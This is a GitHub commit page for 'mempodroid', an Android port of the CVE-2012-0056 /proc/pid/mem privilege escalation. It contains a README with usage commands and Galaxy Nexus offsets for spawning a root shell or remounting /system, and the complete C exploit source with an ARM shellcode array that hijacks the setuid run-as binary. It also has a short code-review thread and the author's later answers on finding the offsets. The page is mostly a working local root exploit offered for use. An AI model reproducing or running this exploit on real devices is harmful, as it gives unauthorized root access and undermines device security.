Skip to content

Commit

Permalink
Initial implementation (tested: Galaxy Nexus 4.0.2).
Browse files Browse the repository at this point in the history
  • Loading branch information
saurik committed Jan 23, 2012
0 parents commit 331d742
Show file tree
Hide file tree
Showing 2 changed files with 233 additions and 0 deletions.
40 changes: 40 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
Today on Hacker News (where I sadly get much of my news), the post ["Linux Local Privilege Escalation via SUID /proc/pid/mem Write"] [1] hit the front page. [This article] [2] was by Jason A. Donenfeld (zx2c4), and documented how he managed to exploit CVE-2012-0056, a seemingly silly mistake that was [recently found in the Linux kernel by Jüri Aedla] [3].

[1]: http://news.ycombinator.com/item?id=3498835
[2]: http://blog.zx2c4.com/749
[3]: http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=e268337dfe26dfc7efd422a804dbb27977a3cccc

Obviously, I was intrigued, and then spent the next few hours learning exactly how it works and putting together an implementation of the exploit for Android. It requires the device to have Linux kernel 2.6.39 or above, which happens to include the Galaxy Nexus (one of the various phones I luckily have sitting around for testing software on ;P).

Of course, the Galaxy Nexus can be rooted quite easily (with a big thank you to Google for being awesome!), so this isn't terribly important or useful: Android 3.1 runs 2.6.36 (too early to be exploited) and there aren't any devices other than the Galaxy Nexus running Android 4.0 (other, of course, than already-rooted ones using custom installs ;P).

That said, _I_ found it interesting, and I seriously burst out laughing when I read the article by Jason A. Donenfeld, as I found this particular exploit to simply be "that awesome". There is also always the possibility that there might actually be a device out there where this ends up being useful, so I figured I'd throw it up on GitHub.

Some Details
------------

So, a major requirement for this exploit to work is to find a setuid program that writes something deterministic to a file descriptor, and it turns out that the _only_ setuid program available on stock Android (run-as) just so happens to have exactly that behavior: you give it the name of a package, and if it doesn't exist it echos it to stderr.

Unfortunately, run-as is statically linked, so you can't do any simple tricks to find the exit() symbol in the program. I therefore looked it up with a disassembler. I could probably write some kind of auto-detector for the required offsets if people find this to actually be of use (i.e., it is important or usable on some device).

Further, run-as bails early on if it is not either a) already running as root (which would defeat the purpose) or b) not running as the adb shell user, so this unfortunately cannot be integrated into a "one-click root" app. You therefore already need working adb shell access to the device in order to install/run this program and escalate to root.

Usage Instructions
------------------

Once compiled (or [downloaded pre-compiled] [1]), you should copy it to your device (using adb), mark it executable, and then run it, passing first the offset of exit(), secondly the offset of the call to setresuid() (which must take its arguments from r5, I could easily generalize this if required), and a program to spawn as root.

[1]: http://cache.saurik.com/android/armeabi/mempodroid

On the Galaxy Nexus, exit() is at 0xd7f4 and the call to sysresuid() is at 0xad4b (these happen to be printed by mempodroid as part of its usage instructions, if you forget). So, if you thereby wanted to then use it to remount /system with read/write access, you could use it as follows (or, just use "sh" to get an immediate shell).

$ ./mempodroid 0xd7f4 0xad4b mount -o remount,rw '' /system
$ ./mempodroid 0xd7f4 0xad4b sh
#

More Resources
--------------

If people _do_ find this useful (need offsets for other devices or help with something else related to it), feel free to join irc.saurik.com/#android (or I guess one of the various Android channels on Freenode that I happen to idle in). Please, though, for the love of all that is good in this world: keep questions there fairly on-topic ;P.

Also, if you join irc.saurik.com, I will ask that you state your question with complete detail and then stay logged into the channel (as I might not actually be there for hours). If you just ask "u there" (or only wait a few mintues after asking your question, instead of some reasonably larger number of hours) you lilkely won't get a response :(.
193 changes: 193 additions & 0 deletions mempodroid.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,193 @@
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <errno.h>

#define argv0 "xe-jM_uH"

#define _syscall(expr) ({ \
__typeof__(expr) _value; \
for(;;) if ((long) (_value = (expr)) != -1) \

This comment has been minimized.

Copy link
@nvartolomei

nvartolomei Jan 23, 2012

Why would you put there a for loop?

This comment has been minimized.

Copy link
@saurik

saurik Jan 23, 2012

Author Owner

@nvartolomei When you make a blocking system call on Unix (most any except close, for humorous and complex reasons; and even then on some versions of Unix you do) you are supposed to check for errno == EINTR and retry the operation if it fails. I have literally been writing variants of this loop for over a decade now, so I tend to make it fairly tight with relation to the syntax it uses.

This comment has been minimized.

Copy link
@nvartolomei

nvartolomei Jan 23, 2012

@saurik nice one :D need to remember it. Thanks for explanation.

break; \
else if (errno != EINTR) { \
char line[1024]; \
sprintf(line, "(%u)", __LINE__); \
perror(line); \
exit(1); \
} \
_value; \
})

#define _assert(test) do { \
if (!(test)) { \
fprintf(stderr, "_assert(%s)\n", #test); \
exit(1); \
} \
} while (false)

static int child(int sock) {
char path[32];
sprintf(path, "/proc/%u/mem", getppid());
int mem = _syscall(open(path, O_WRONLY));

uint8_t data[1] = {0};

struct iovec iov;
iov.iov_base = data;
iov.iov_len = sizeof(data);

struct msghdr msg;
memset(&msg, 0, sizeof(msg));
msg.msg_iov = &iov;
msg.msg_iovlen = 1;

char control[CMSG_SPACE(sizeof(int))];
msg.msg_control = control;
msg.msg_controllen = sizeof(control);

struct cmsghdr *cmsg;
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
* (int *) CMSG_DATA(cmsg) = mem;

_syscall(sendmsg(sock, &msg, 0));
return 0;
}

static int parent(int sock, int argc, char *argv[]) {
uint8_t data[1024];

struct iovec iov;
iov.iov_base = data;
iov.iov_len = sizeof(data);

struct msghdr msg;
memset(&msg, 0, sizeof(msg));
msg.msg_iov = &iov;
msg.msg_iovlen = 1;

char control[CMSG_SPACE(sizeof(int))];
msg.msg_control = control;
msg.msg_controllen = sizeof(control);

_syscall(recvmsg(sock, &msg, 0));

struct cmsghdr *cmsg;
cmsg = CMSG_FIRSTHDR(&msg);
_assert(cmsg != NULL);

_assert(cmsg->cmsg_len == CMSG_SPACE(sizeof(int)));
_assert(cmsg->cmsg_level == SOL_SOCKET);
_assert(cmsg->cmsg_type == SCM_RIGHTS);

int mem = * (int *) CMSG_DATA(cmsg);
_assert(mem != -1);

--argc; ++argv;

off_t offset = strtoul(argv[0], NULL, 0);
off_t rest = strtoul(argv[1], NULL, 0);

argc -= 2;
argv += 2;

#ifdef __arm__
const uint16_t exploit[] = {
0xbc73, // pop {r0, r1, r4, r5, r6}
0x2501, // mov r5, #1
0x3d01, // sub r5, #1

// movw r3, *rest
0xf640 | (rest & 0x0800) >> 1 | (rest & 0xf000) >> 12,
0x0300 | (rest & 0x0700) << 4 | (rest & 0x00ff),

0x4718, // bx r3
0};
#endif

offset -= 17;
lseek(mem, offset, SEEK_SET);

_assert(memchr(exploit, 0, sizeof(exploit)) == exploit + sizeof(exploit) / sizeof(exploit[0]) - 1);

int save = dup(2);

dup2(mem, 2);
close(mem);

if (save != 3) {
dup2(save, 3);
close(save);
}

char self[1024];
_syscall(readlink("/proc/self/exe", self, sizeof(self) - 1));

char *args[4 + argc + 1];
args[0] = strdup("run-as");
args[1] = (char *) exploit;
args[2] = self;
args[3] = strdup("-");

int i;
for (i = 0; i != argc; ++i)
args[4 + i] = argv[i];
args[4 + i] = NULL;

_syscall(execv("/system/bin/run-as", args));
return 0;
}

int main(int argc, char *argv[]) {
if (argc == 1) {
printf(
"usage: mempodroid <exit> <call> <args...>\n"
" exit: address in memory to exit function\n"
" call: address in memory of setresuid call\n"
" args: command to run, including arguments\n"
"\n"
/*" NOTE: to attempt autodetect, pass '-'\n"
" for either exit, call, or both\n");*/
" Galaxy Nexus 4.0.2: 0xd7f4 0xad4b\n"
"\n"
"concrete implementation by Jay Freeman (saurik)\n"
"based on exploit by Jason A. Donenfeld (zx2c4)\n"
"more information at: http://blog.zx2c4.com/749\n"
"original kernel exploit reported by Jüri Aedla\n"
);

return 0;
}

if (strcmp(argv[1], "-") == 0) {
dup2(3, 2);
close(3);

_syscall(execvp(argv[2], argv + 2));
return 1;
}

int pair[2];
_syscall(socketpair(PF_UNIX, SOCK_DGRAM, 0, pair));

if (strcmp(argv[0], argv0) == 0)
return child(strtoul(argv[1], NULL, 0));

pid_t pid = fork();
if (pid != 0) {
close(pair[1]);
return parent(pair[0], argc, argv);
}

close(pair[0]);
char argv1[16];
sprintf(argv1, "%u", pair[1]);

_syscall(execl("/proc/self/exe", argv0, argv1, NULL));
return 1;
}

2 comments on commit 331d742

@starspringcloud
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

hi
I have some confusion, very hope to get your answer:
1、why choose 'run-as' , can use other instead?
2、What does it mean to "exit: address in memory to exit function " ? is exit function address in 'run-as' ?
and the same question to setresuid !
3、how can i get the exit function address ?

@saurik
Copy link
Owner Author

@saurik saurik commented on 331d742 Jul 12, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@starspringcloud 1) the reason to target run-as here is because it is a setuid root binary; the exploit concept would work on other such programs, but there aren't many to choose from on android. 2) the exit address is the address of the function exit in the run-as process (which I think is statically linked, making this both easier and more annoying). 3) you would use a disassembler. FWIW, for more questions about how the mempodipper exploit--and my mempodroid implementation function--I believe I cover it in some depth during this talk I recorded a couple years ago: https://www.youtube.com/watch?v=Yi-Klt5WIVg

Please sign in to comment.